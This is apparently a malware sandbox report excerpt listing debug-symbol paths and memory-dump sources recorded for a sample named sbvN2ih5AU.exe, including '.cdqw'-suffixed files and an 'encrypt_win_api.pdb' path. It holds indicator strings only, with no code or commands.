Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.cdqwjltKC1Ne_Y3fl1HuHQ2[1].css.cdqwcation Data\Application Data\Application Data\Packages\Mi) source: sbvN2ih5AU.exe, 00000004.00000003.2295430680.00000000036A2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\HBS., source: sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249849179.0000000003682000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225311251.000000000301B000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\, source: sbvN2ih5AU.exe, 00000004.00000003.2225373099.0000000003534000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2036057819.000000000352F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225010475.000000000351C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2299316713.000000000397F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2304222838.0000000003899000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\ source: sbvN2ih5AU.exe, 00000004.00000003.2250077493.000000000356D000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.0000000003560000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248701465.0000000003563000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdbTENT_TASKBARHEADLINES.jsontxtV source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\t\m source: sbvN2ih5AU.exe, 00000004.00000003.2299148718.00000000038BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.errorogFile_October_3_2023__13_9_20.txtt source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\d8bbwe\LocalState\ source: sbvN2ih5AU.exe, 00000004.00000003.2036012673.000000000305E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\* source: sbvN2ih5AU.exe, 00000004.00000003.2225190557.0000000003039000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\emp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2267074228.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2273782470.0000000003679000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2295430680.00000000036A2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2299045599.000000000390E000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.cdqw,, source: sbvN2ih5AU.exe, 00000004.00000003.2225408846.0000000002FDD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbeta90 source: sbvN2ih5AU.exe, 00000004.00000003.2225559443.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225408846.0000000002FDD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\s\T source: sbvN2ih5AU.exe, 00000004.00000003.2001871627.0000000003003000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225408846.0000000003001000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2317228663.0000000003612000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2321865681.0000000003654000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2315637192.000000000360F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: sbvN2ih5AU.exe, 00000004.00000003.2267862895.000000000302E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\,1 source: sbvN2ih5AU.exe, 00000004.00000003.2305346249.00000000038DF000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2303682242.00000000038CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Data\A source: sbvN2ih5AU.exe, 00000004.00000003.2315575644.00000000036B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\:$h"3 source: sbvN2ih5AU.exe, 00000004.00000003.2304222838.0000000003899000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2282223049.00000000038F6000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283815069.000000000391F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283412651.00000000038F7000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274484738.0000000003929000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: sbvN2ih5AU.exe, 00000004.00000003.2267354147.000000000304E000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248836397.0000000003021000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249195874.000000000302D000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249249024.0000000003050000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249500159.000000000305F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2268368221.000000000305F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2267074228.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248623027.00000000036BE000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249026361.00000000036CE000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267182272.00000000036E6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2299316713.000000000397F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\*\ source: sbvN2ih5AU.exe, 00000004.00000003.2225408846.0000000003001000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2299316713.000000000397F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295852109.0000000003996000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\bD""- source: sbvN2ih5AU.exe, 00000004.00000003.2313309626.00000000038AA000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2309196065.00000000038A2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.cdqwvg=i source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2282473786.000000000368A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282801832.0000000003021000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295430680.00000000036A2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282733106.000000000300F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Af;/1 source: sbvN2ih5AU.exe, 00000004.00000003.2274484738.00000000038B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\tion Da source: sbvN2ih5AU.exe, 00000004.00000003.2315515714.00000000038D7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e source: sbvN2ih5AU.exe, 00000004.00000003.2282525794.0000000003541000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274850530.0000000003516000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274918914.000000000353C000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283228453.000000000354E000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282870353.0000000003546000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274967030.0000000003546000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2225373099.0000000003534000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2036057819.000000000352F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225010475.000000000351C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2303473920.00000000039ED000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2303910315.000000000359B000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2305478829.00000000039F3000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2309491163.00000000035AC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2304958924.00000000039ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2303473920.00000000039ED000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2305478829.00000000039F3000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2299316713.0000000003A01000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2304958924.00000000039ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: sbvN2ih5AU.exe, sbvN2ih5AU.exe, 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000005.00000002.1693753075.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000009.00000002.1813253516.0000000002620000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000C.00000002.1887517098.00000000027E0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\1> source: sbvN2ih5AU.exe, 00000004.00000003.2283714637.0000000003011000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283285886.0000000003010000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282733106.000000000300F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\v source: sbvN2ih5AU.exe, 00000004.00000003.2282473786.000000000368A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274431291.000000000369A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276405853.00000000036CE000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2273782470.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276057122.00000000036BE000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275943924.00000000036A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*ata\\ source: sbvN2ih5AU.exe, 00000004.00000003.2313309626.00000000038AA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2274850530.0000000003516000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283091300.0000000003518000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276528630.0000000003518000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283955710.0000000003519000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282525794.0000000003516000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2282473786.000000000368A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274431291.000000000369A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267074228.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295430680.00000000036A2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2273782470.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249849179.0000000003682000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275943924.00000000036A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: sbvN2ih5AU.exe, 00000004.00000003.1960281106.00000000034E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.cdqw source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\.log source: sbvN2ih5AU.exe, 00000004.00000003.2225190557.0000000003039000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2036012673.000000000305E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\p\ source: sbvN2ih5AU.exe, 00000004.00000003.2267632109.00000000036C6000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274431291.000000000369A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267074228.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276405853.00000000036CE000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2273782470.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276463998.00000000036E2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276057122.00000000036BE000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275943924.00000000036A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2295852109.0000000003937000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282223049.00000000038F6000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283815069.000000000391F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274484738.0000000003936000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283412651.00000000038F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: sbvN2ih5AU.exe, 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000005.00000002.1693753075.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000009.00000002.1813253516.0000000002620000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000C.00000002.1887517098.00000000027E0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2312987291.0000000003A34000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313349502.0000000003A84000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313255917.0000000003A43000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\] source: sbvN2ih5AU.exe, 00000004.00000003.2276110097.0000000003550000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274850530.0000000003516000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274918914.000000000353C000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274967030.0000000003546000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2250077493.000000000356D000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282473786.000000000368A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274431291.000000000369A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267074228.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295430680.00000000036A2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2273782470.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249849179.0000000003682000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.0000000003560000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275943924.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248701465.0000000003563000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: sbvN2ih5AU.exe, 00000004.00000003.2299148718.00000000038BB000.00000004.00000020.00020000.00000000.sdmp
